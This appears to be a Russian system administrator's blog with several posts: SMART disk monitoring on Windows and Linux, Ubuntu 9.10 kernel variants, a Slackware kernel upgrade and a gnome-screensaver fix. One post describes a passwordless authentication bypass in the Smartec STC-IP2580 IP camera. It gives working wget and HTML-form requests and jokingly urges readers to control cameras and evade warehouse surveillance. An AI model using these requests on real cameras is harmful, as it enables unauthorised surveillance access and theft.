понедельник, 1 февраля 2010 г.

Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Windows

 

Данная статья является продолжением предыдущей статьи в моем блоге «Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Linux».

 

Установка

Скачайте и установите следующее программное обеспечение (все бесплатно, все opensource):

smartmontools
Собственно сам пакет программ для мониторинга данных smart. Включает в себя консольную утилиту smartctl и системную службу smartd.

GSmartControl
Гуевый фронтенд к утилите smartctl. Позволит быстро определить, поддерживают ли ваши жесткие диски smart, а также просмотреть smart-данные.

blat
Утилита для отправки почтовых сообщений в windows из командной строки с некрасивым названием :) . Необходима, если вы хотите получать уведомления об ошибках по электронной почте. Для установки необходимо поместить файл blat.exe из скачанного zip-архива в директорию, куда был установлен smartd.exe (по умолчанию C:\Program Files\smartmontools\bin\).

 

Проверка доступности данных через GSmartControl

Запускаем только что установленную программу GSmartControl. Если в главном окне программы видим установленные в системе жесткие диски, а также установленную галочку «Enable SMART» значит все хорошо:

При двойном клике на диске открывается окно с несколькими вкладками. Первая вкладка — общая информация о диске:

Вторая вкладка — список smart-атрибутов и их значений:

 

Настройка почтовой утилиты blat

Подчеркиваю, данный шаг не является необходимым, если не желаете получать почту от smartd, его можно пропустить.

Шаг 1. Прописываем в реестр параметры вашего smtp сервера и почтового адреса:

> C:
> cd "C:\Program Files\smartmontools\bin"
> blat.exe -install smtp.mycompany.ru mycomp@mycompany.ru

Шаг 2. Проверяем что доставка почты заработала:

> echo test | blat.exe -to admin@mycompany.ru

 

Настройка и запуск службы мониторинга smartd

Полностью аналогично linux-версии, настройка демона smartd осуществляется через редактирование файла smartd.conf (по умолчанию C:\Program Files\smartmontools\bin\smartd.conf). Даже названия дисков указываются в linux-формате: /dev/sda и т.п.

Шаг 1. Найти и закомментировать строчку:

DEVICESCAN

Шаг 2. Для каждого устройства добавить строчку, вида:

/dev/sda -a -s (S/../../(1|2|3|4|5|6)/01|L/../../7/01 -R 194 -m admin@mycompany.ru -M diminishing

Шаг 3. Устанавливаем демон мониторинга smartd как службу:

> C:
> cd "C:\Program Files\smartmontools\bin"
> smartd.exe install

Шаг 4. Запускаем оснастку управления службами services.msc:

Шаг 5. Находим локальную службу «SmartD Service» и запускаем ее. При перезагрузке она будет запускаться автоматически.

Информация о запуске и работе службы «SmartD Service» попадает в системный «Event Log», посмотреть ее можно через оснастку «Event Viewer» (запускать eventvwr.msc). Следует искать события в локальном журнале «Application» с полем источника равным «smartd».

Все, smart-мониторинг жестких дисков в windows заработал. При возникновении проблем сообщения будут попадать с системный журнал windows. А также сообщения будут приходить по почте на электронный адрес системного администратора, если это было настроено.

вторник, 19 января 2010 г.

Мониторинг жестких дисков с помощью технологии S.M.A.R.T. в Linux

 

S.M.A.R.T. — технология самодиагностики и предсказания возможного отказа жесткого диска. Уже много лет встраивается практически во все производимые HDD.

 

Программное обеспечение

 

Основной пакет для работы со smart-данными под linux и под windows — smartmontools. Состоит из программ:

  • smartctl — утилита командной строки для:

    просмотра текущих данных smart;
    включения/выключения сбора данных smart;
    запуска тестов самодиагностики диска вручную;

  • smartd — демон/системная служба для:

    записи в системный журнал изменений в данных smart;
    уведомления по электронной почте об ошибках smart;
    запуска тестов самодиагностики по расписанию

Дополнительно, для утилиты smartctl есть хороший кросплатформерный фронтенд GSmartControl, рекомендую.

 

Что содержит smart

 

Просмотреть сразу все данные smart устройства /dev/sda можно с помощью команды:

smartctl -a /dev/sda

Эти самые данные состоят из:

  1. Общая информация: производитель, модель, серийный номер, версия прошивки и др.

    smartctl -i /dev/sda
  2. Дополнительная информация об устройстве. Например, какие тесты диагностики поддерживаются и сколько они занимают времени

    smartctl -c /dev/sda
  3. Состояние «здоровья» диска. Представляет собой попытку предсказать отказ жесткого диска в ближайшие 24 часа.

    smartctl -H /dev/sda
    • Smart aтрибуты и их значения. Полный список зависит от конкретной модели диска. Разделяются на:

    • критические — частота возникновения ошибок чтения, количество перемещенных секторов и др.
    • некритические — общее время работы диска в часах и др.
    smartctl -A /dev/sda
  4. Журнал ошибок, произошедших во время работы диска.

    smartctl -l error /dev/sda
  5. Журнал тестов самодиагностики.

    smartctl -l selftest /dev/sda

Как настроить мониторинг

 

Настройка демона smartd осуществляется через редактирование файла /etc/smartd.conf:

Шаг 1. Найти и закомментировать строчку:

DEVICESCAN

Шаг 2. Для каждого устройства добавить строчку, вида:

/dev/sda -a -s (S/../../(1|2|3|4|5|6)/01|L/../../7/01 -R 194 -m admin@mycompany.ru -M diminishing


Описание используемых опций:

-a

включение большинства возможностей мониторинга: проверка "здоровья" диска, отслеживание изменений всех атрибутов, отслеживание неудачных тестов диагностики.

-s (S/../../(1|2|3|4|5|6)/01|L/../../7/01)

расписание запуска тестов диагностики диска в виде регулярного выражения. В данном случае:
в 1 час ночи c понедельника по субботу будет запускаться краткий тест диска;
в 1 час ночи в воскресенье будет запускаться полный тест диска.

-m admin@mycompany.ru

при возникновении ошибок уведомить об этом письмом по указанному адресу. Для успешной отправки письма должна быть правильно настроена пересылка локальной почты на почтовый сервер. Для этого можно использовать, например, nullmailer.

-M diminishing

периодически повторять отправку письма с сообщениями об ошибке.

Запуск демона smartd осуществляется обычным для вашего дистрибутива образом.

Slackware

Для запуска демона выполнить в командной строке:

smartd

Для автозагрузки демона при старте системы, открыть файл /etc/rc.d/rc.M, найти и расскомментировать в нем следующие строчки:

#if [ -x /usr/sbin/smartd ]; then
#  /usr/sbin/smartd
#fi

Ubuntu

Для разрешения запуска демона smartd, открыть файл /etc/default/smartmontools, найти и расскомментировать в нем следующюю строчку:

#start_smartd=yes

Для запуска демона выполнить:

/etc/init.d/smartmontools start

В случае неуспешного запуска, информация об ошибках содержится в системных журналах /var/log/messages и /var/log/syslog.

понедельник, 2 ноября 2009 г.

Стандартные ядра в Ubuntu 9.10 Karmic Koala

На прошлой неделе вышла в свет очередная версия замечательной операционной системы Ubuntu. В этой статье рассмотрим стандартные ядра включенные в ее состав. Список можно получить с помощью команды:

administrator@ubuntu910:~$ aptitude search linux-image- | grep -v 2.6
p  linux-image-386          - Generic Linux kernel image
p  linux-image-ec2          - Linux kernel image for ec2 machines
i  linux-image-generic      - Generic Linux kernel image
p  linux-image-generic-pae  - Generic Linux kernel image
p  linux-image-rt           - Rt Linux kernel image
p  linux-image-server       - Linux kernel image on Server Equipment.
p  linux-image-virtual      - Linux kernel image for virtual machines

Каждый из этих пакетов является метапакетом, который всегда зависит от самой последней версии конкретной сборки ядра. Не буду унижать читателя описанием того, как устанавливать или удалять пакеты в Ubuntu. Вместо этого кратко рассмотрим возможные варианты.

Generic

Это стандартное ядро для desktop-версии дистрибутива. Соотвественно оно оптимизировано для наилучшей работы прикладных пользовательских программ. Устанавливается по умолчанию, если вы специально не меняли ядро, то у вас работает именно оно. Одинаково хорошо подходит для всех современных (и не очень современных) процессоров Intel и AMD.

Generic-PAE

Нововведение в версии 9.10, и это ядро меня особенно порадовало. Полностью повторяет конфигурацию Generic ядра, за одним исключением — включена поддержка технологии PAE. Технология PAE позволяет использовать до 64 Гб оперативной памяти в 32-х разрядной операционной системе. При использовании обычного Generic ядра проблематично заставить операционную систему увидеть более 3 Гб оперативной памяти. Однако в современных реалиях 4 Гб памяти даже на ноутбуках уже не редкость, не говоря уже про настольные компьютеры, когда и дешевые материнские платы поддерживают 4, 8, 16 Гб памяти. До Ubuntu 9.10 альтернативой было либо использование Server версии ядра, либо ручная пересборка ядра с нужными опциями конфигурации.

386

Еще одна слегка модифицированная версия Generic ядра. Данное ядро собрано с оптимизацией для архитектуры центрального процессора i486, в отличии от Generic ядра где применяется оптимизация под архитектуру i586. Иногда встречается ошибка, когда владельцы процессоров Intel устанавливают данное ядро в надежде, что оно подходит им больше чем Generic. Это не так! Ядро 386 предназначено для очень старых процессоров, старее Pentium Pro, это процессоры выпущенные до 1996 года!

Server

Это стандартное ядро для server-версии дистрибутива. Планировщик процессов, планировщик ввода-вывода, таймеры ядра оптимизированы для серверного применения, т.е. для работы процессов-демонов. Сборка произведена для процессорной архитектуры i686. Также включена поддержка 64 Гб оперативной памяти — технология PAE.

Virtual

Данная версия ядра предназначена для применения когда Ubuntu запускается в виртуализированной среде, например внутри какой-либо виртуальной машины.

EC2

Ещё одно нововведение в Ubuntu 9.10. Это ядро нужно для работы с технологией Ubuntu Enterprise Cloud/Elastic Computing Cloud (EC2). Если вы не занимаетесь этими самыми "облаками", то просто игнорируйте данное ядро.

RT

Версия ядра с патчами для минимизации времени отклика. Попытка сделать из Linux операционную систему реального времени.

четверг, 28 мая 2009 г.

Материнская плата ASUS P5QL-EM

  1. Возможно для вас важна такая характеристика материнской платы как максимальный объём поддерживаемой памяти. Тогда ни в коем случае не покупайте Asus P5QL-EM. Фактически заявленного объема в 8Гб вам достичь не удасться, только 4Гб. Точнее можно, но для этого нужна особо хитрая специальная память, которой в обычных замкадских магазинах не купишь. До этого момента я полностью доверял компании Asus и раньше она в подобном обмане потребителей замечена не была.
  2. На данной материнской плате Ubuntu 8.04 LTS при настройках BIOS по умолчанию не видит SATA-устройств. Чтобы исправить эту ситуацию необходимо в BIOS на вкладке «Main» выбрать пункт «Storage Configuration» и изменить значение параметра «Configure SATA As» c «IDE» на «AHCI». После этого всё устанавливается и загружается нормально, вот такое колдунство.

среда, 20 мая 2009 г.

Обновление ядра slackware из стандартных пакетов

Задача такая: есть продакшн-сервер на Slackwaree 9.1. Необходимо обновить на нем ядро до более-менее современой версии. Как ни жалко расставаться с последним в нашей конторе, верно служившим ядром 2.4-ой версии, но жизнь не стоит на месте.

Самостоятельная сборка пакета с ядром для slackware — задача простая, если знаешь что делать :-). Но я сторонник максимального использования стандартных компонентов, созданных официальным мейнтейнером. А учитывая что ядро это довольно независимая часть от остальной системы, то легко можно использовать стандартные пакеты от старших версий slackware.

Итак, на текущий момент, последняя версия Slackwaree 12.2 с ядром 2.6.27.7 — неплохо. Нам понадобятся следующие пакеты:

kernel-generic-smp-2.6.27.7_smp-i686-1.tgz
kernel-modules-smp-2.6.27.7_smp-i686-1.tgz
mkinitrd-1.3.2-i486-4.tgz

Я выбрал generic-smp версию ядра, как наиболее подходящюю под своё железо. Надеюсь вы нигде не используете huge версии ядер, которые подходят только для начальной установки системы? Подробнее можно прочитать здесь: «Стандартные ядра в Slackware 12». Для установки generic-ядра понадобится утилита mkinitrd. Т.к. в Slackware 9.1 ее нет в стандартных репозитариях, также берем пакет из Slackware 12.2.

Выкачиваем все эти пакеты в какую-либо директорию и выполняем там команду:

installpkg *.tgz

Далее остается настроить загрузчик lilo на использование нового ядра. Как это сделать так же можно прочитать по приведенной выше ссылке.

Всё, после перезагрузки сервера можно наслаждаться каттинг эдж ядром из стандартного пакета на старенькой ОС:

# cat /etc/slackware-version 
Slackware 9.1.0
# uname -sr 
Linux 2.6.27.7-smp

P.S. Надеюсь вы понимаете, что предже чем проделывать всё это на рабочем сервере, необходимо провести эксперимент на тестовом :-)

среда, 4 марта 2009 г.

Программная уязвимость IP камеры Smartec STC-IP2580

Я не специалист по видеонаблюдению вообще и по IP-камерам в частности. Но мне, как системному администратору, была поставлена задача. Софт, поставляемый с камерой Smartec STC-IP2580 часто переглючивает. На текущий момент, нам известен лишь один способ полечить эти глюки. Это перезагрузка камеры через её веб-интерфейс. Мне нужно было автоматизировать этот процесс, т.е. программно выполнять перезагрузку камер по расписанию.

Приступив к решению задачи, я выяснил что доступ к веб-интерфейсу камеры, как и полагается, закрыт паролем. Сначала я предполагал использовать пример из документации утилиты wget для доступа к запороленным ресурсам сайта:

# сначала залогинится и сохранить сессионный cookie
wget --save-cookies cookies.txt \
     --post-data 'user=foo&password=bar' \
     http://server.com/auth.php

# используя сохраненный cookie получить доступ
# к закрытым страницам сайта
wget --load-cookies cookies.txt \
    -p http://server.com/interesting/article.php

Предположим что (это параметры по умолчанию):

  • ip-адрес камеры 192.168.1.1
  • логин Admin
  • пароль 123456

По-быстрому разобрав html-код формы авторизации, я выяснил имена параметров. Каково же было моё удивление, когда выполнив первую команду:

wget --save-cookies cookies.txt                               \
     --post-data "LOGIN_ACCOUNT=Admin&LOGIN_PASSWORD=123456"  \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Я обнаружил пустой файл cookie! В дальнейшем мои самые худшие опасения подтвердились — для доступа к ЛЮБЫМ функциям веб-интерфейса пароль не требуется совершенно!!! Авторизация на веб-интерфейсе камеры — это защита от честных людей. В частности, необходимая мне команда перезагрузки камеры выглядит так:

wget --post-data "SAVE_ADMIN=SAVE_ADMIN" \
     http://192.168.1.1/cgi-bin/videoconfiguration.cgi

Вы видите где-нибудь в этой команде использование пароля? Я тоже не вижу. Тем не менее, команда прекрасно работает.

Злобный одмин в организации сменил для ip-камеры стандартный пароль, а вам всё равно хочется порулить её настройками? Не беда, создайте html страничку следующего содержания:

<html>
  <body>
    <form
      action="http://192.168.1.1/cgi-bin/videoconfiguration.cgi"
      method="post"
    >
      <input type="hidden" name="SYSTEM_ADMIN" value="SYSTEM_ADMIN">
      <input type="submit" value="OK">
    </form>
  </body>
</html>

Далее откройте её в браузере, нажмите кнопку «OK» и пусть администратор подавится своим паролем! Хотите наблюдать за изображением с камеры, не имея на то полномочий? Легко! Система видеонаблюдения за складом в вашей организации основана на IP камерах Smartec STC IP2580, а на складе много всего вкусного? Ну теперь вы знаете как обмануть это дурацкое видеонаблюдение :-)

понедельник, 9 февраля 2009 г.

Хранитель экрана в ubuntu (gnome) не принимает пароль?

В результате неизвестных науке действий около года назад у меня случилось несчастье. А именно, как написано в заголовке, хранитель экрана gnome перестал принимать правильный пароль. С наскоку разобраться не получилось, полная переустановка пакета gnome-screensaver не помогла. В качестве временного решения использовал выход в текстовую консоль и принудительное завершение процесса gnome-screensaver.

Но однажды у меня выдалось немного свободного времени, а также обострилось желание решить эту проблему. Копание в логах дало невнятные сообщения:

maxim@ubuntu610:~$ grep gnome-screensaver /var/log/auth.log
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) could not recover authentication token
Feb  2 08:30:20 buntu610 gnome-screensaver-dialog: (pam_unix) authentication failure; logname= uid=1000 euid=1000 tty=:0.0 ruser= rhost=  user=maxim

Дальше спросил у великого Google. Пол-часа поисков дало описание проблемы и ее решение на launchpad.net. А именно владелец и группа файла /etc/shadow должны быть соотвественно root и shadow. Если это не так, то следующая команда исправит ситуацию:

sudo chown root:shadow /etc/shadow

После этого проблема была решена.